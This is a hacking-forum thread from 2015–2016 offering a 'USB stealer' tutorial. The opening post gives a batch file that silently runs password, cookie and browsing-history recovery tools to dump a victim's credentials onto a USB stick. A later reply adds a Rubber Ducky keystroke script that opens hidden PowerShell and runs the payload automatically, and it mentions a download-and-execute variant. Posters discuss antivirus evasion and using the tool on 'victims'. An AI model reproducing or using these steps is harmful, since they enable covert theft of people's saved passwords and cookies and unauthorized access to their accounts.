Thread: [KMZ's USB HACKS V1.0 ULTRA USB STEALER\[EASY SETUP,EXTREMELY FAST\]](#)

kmz22222 - September 27, 2015, 11:04 am

SUPER IMPORTANT NOTE: this thread is made at Current time: 09-27-2015, 10:05 AM at hack forum's time which means any other thread or post that have things from this thread is pretty much a copy of this thread.

So this will make you able to steal almost anything you want with ONLY YOUR USB.

Tutorial:

1-First install programs that you want from here: [www\[DOT\]nirsoft\[DOT\]net/utis/index.html](http://www[DOT]nirsoft[DOT]net/utis/index.html)

Note: i will mention the programs i used at the coding part

2-After you install them copy ONLY THE EXE into a folder in your usb

3-Make a new text copy and paste this code and save as launch.bat [you may need to edit this if you choosed any other programs]:

```
start mailpv.exe /stext mailpv.txt
```

```
start iepv.exe /stext iepv.txt
```

```
start passwordfox.exe /stext passwordfox.txt
```

```
start chromecookiesview.exe /stext chromecookiesview.txt
```

```
start chromepass.exe /stext chromepass.txt
```

```
start faview.exe /stext faview.exe
```

```
start fbcacheview.exe /stext fbcacheview.txt
```

```
start imagecacheviewer.exe /stext imagecacheviewer.txt
```

```
start mylastsearch.exe /stext mylastsearch.txt
```

```
start mzcw.exe /stext mzcw.txt
```

```
start operapassview.exe /stext operapassview.txt
```

```
start passwordscan.exe /stext passwordscan.txt
```

```
start tcplogview.exe /stext tcplogview.txt
```

```
start webbrowserpassview.exe /stext webbrowserpassview.txt
```

```
start webcacheimageinfo.exe /stext webcacheimageinfo.txt
```

4-You are ready! just put the usb into any device you want to hack then open launch.bat it will open programs so fast then close the programs then remove the usb. simple as that?

Lemme know what you think about this simple hack? you may have seen this before but i think this is the safest/best way to do it.

Thanks is enough.

Armada - September 27, 2015, 12:47 pm

May just be me, but this seems like a messier, more complicated version of Chumlee's USB stealer. <https://hackforums.net/showthread.php?tid=4677455>

What makes this any more special out of curiosity?

esoteric? - September 27, 2015, 8:47 pm

Is this FUD by any chance?

kmz22222 - September 30, 2015, 5:59 am

I don't know maybe... but at least it's free and perfect!

(Sep 27, 2015 08:47 PM)Luxify Wrote: [\[CITE\]](#) Is this FUD by any chance?
Yeah its FUD For me! nothing really special or suspicious about dem

All physical hacking is FUD

Hey kmz would a code like that work to run a stub? and how to use that code to run as admin?

Armada - September 30, 2015, 7:18 am

Hey kmz would a code like that work to run a stub? and how to use that code to run as admin?
No its not LOL

If I stick a USB stick in with an unencrypted Luminosity Link Binary, guess what, AV gonna nuke it, and likely scan my entire thumb drive because of the positive hit.

Dont talk about shit you clearly do not understand, there is nothing worse than giving someone BAD advice around here, could result in steel bracelets for them.

Slickbox - September 30, 2015, 8:03 am

Does it automatically start an, so the user will not have to do anything?

Armada - September 30, 2015, 8:04 am

(Sep 30, 2015 08:03 AM)Slickbox Wrote: [\[CITE\]](#) Does it automatically start an, so the user will not have to do anything?
Nope, impossible, Auto run has been disabled as of Win 7 and above.

ashlarkeystone - September 30, 2015, 4:25 pm

no sir you are wrong the USB will not open the launch.bat file since Microsoft saw major vulnerabilities in the autorun.inf feature and removed it so you would have to open launch.bat manually

Hey kmz would a code like that work to run a stub? and how to use that code to run as admin?
I think so it would run on a stub/installation or something but i am not sure just use it as i said it would be PERFECT. , uh about the code to run as admin nope. you don't need to run as admin tho.

(Sep 30, 2015 08:03 AM)Slickbox Wrote: [\[CITE\]](#) Does it automatically start an, so the user will not have to do anything?
Nope As aramдона dude said its removed from WIN 7 And above...
But auto run works on windows xp!

kickrocks - October 23, 2015, 2:01 pm

yes nirsoft recovery tools are famous since a long time , the first generation stealers already used them...
but even old , they're still perfectly working :)

MrRedNeck - December 20, 2015, 11:59 pm

it ok, tried it i really dont like it, it did put up anything????

isuckatyoyos - February 10, 2016, 9:21 am

Looks great now I can use this on my windows 200 and xp victims.

_father - February 10, 2016, 8:28 pm

(Sep 30, 2015 08:03 AM)Slickbox Wrote: [\[CITE\]](#) Does it automatically start an, so the user will not have to do anything?Man if you would like autorun on USB you can buy Rubbery ducky. Its a USB that is detected as a keyboard and it autorun without asking. I dont know much about the product but that is what i heard, you can search it up buddy.

anik001 - March 26, 2016, 9:05 am

thanks. great work. keep it up.....

kmz22222 - August 23, 2016, 10:46 pm

A 2016 version will be coming folks,Stay tuned i am making it.

I-GANK-I - August 24, 2016, 8:16 pm

Or just run this as a shellcode with rubber ducky, upgrade the firmware to twinduck 2 and put this

code into the image file (inject.bin)

```
DELAY 5000
GUI r
DELAY 100
STRING powershell -windowstyle hidden ; Start-Process "D:\hello.exe" ; Start-Process
"E:\hello.exe" ; Start-Process "F:\hello.exe" ; Start-Process "G:\hello.exe" ; Start-Process
"H:\hello.exe" ; Start-Process "K:\hello.exe" ; Start-Process "Z:\hello.exe"
ENTER
```

instead of hello.exe the .bat file

This will auto start on victim's computer , you wont need to control the computer for it to work :)

I hope this was useful information ^^

The code above i wrote together with a friend, its probably the easiest autorun method working at this moment.

Thanks for the support guys.

If you don't like this version,then stay tuned for the 2016 version. [Coming soon]

It's gunna be lit boyz~

I think i have no idea what the actual fuck was that code but i think i might use it.

Thx for the support. ??

It requires:

1) Rubber Ducky USB Stick from hak5

2) TwinDuck Firmware (You must flash the Rubber Ducky to this firmware in order to use the rubber ducky as a flash drive)

3) ducktoolkit.com/encoder/ (Payload Encoder)

4) Upload the inject.bin (Generated Payload File to the ducky)

alternative option (Download & Execute):

1) Rubber Ducky USB Stick from hak5

2) Generate the Download & Execute payload from the rubber ducky toolkit

3) Upload the inject.bin (Generated Payload File to the ducky)

Difference: You will need to be connected to the internet in order for the second option to work (Download & Execute)

zeshift - September 17, 2016, 5:49 pm

sweet! this is definitely a good way to start learning

YouAreNotUnique - September 17, 2016, 10:33 pm

What is the ultimate USB Stealer on hackforums? This guy is kind of slack. You should have made downloadables and then told us about the autorun.inf thing and how to place it on the usb stick alongside the executables.

kmz22222 - September 18, 2016, 4:58 am

This thread is from 2015 and probably it's outdated but still it's a usb stealer that will get the job done.

Please stay tuned for 2016's version of my usb stealer after i finish my current 2 projects.

I can't make 3 things at a time :)

Just please be patient, And DON'T FUCKING BUMP THE THREAD.

Spoiler [\(Click to View\)](#)

srsly tho stop replying and bumping it up

justin nitsuj - September 25, 2016, 10:35 pm

I ND USB STEALER SEND THE LINK
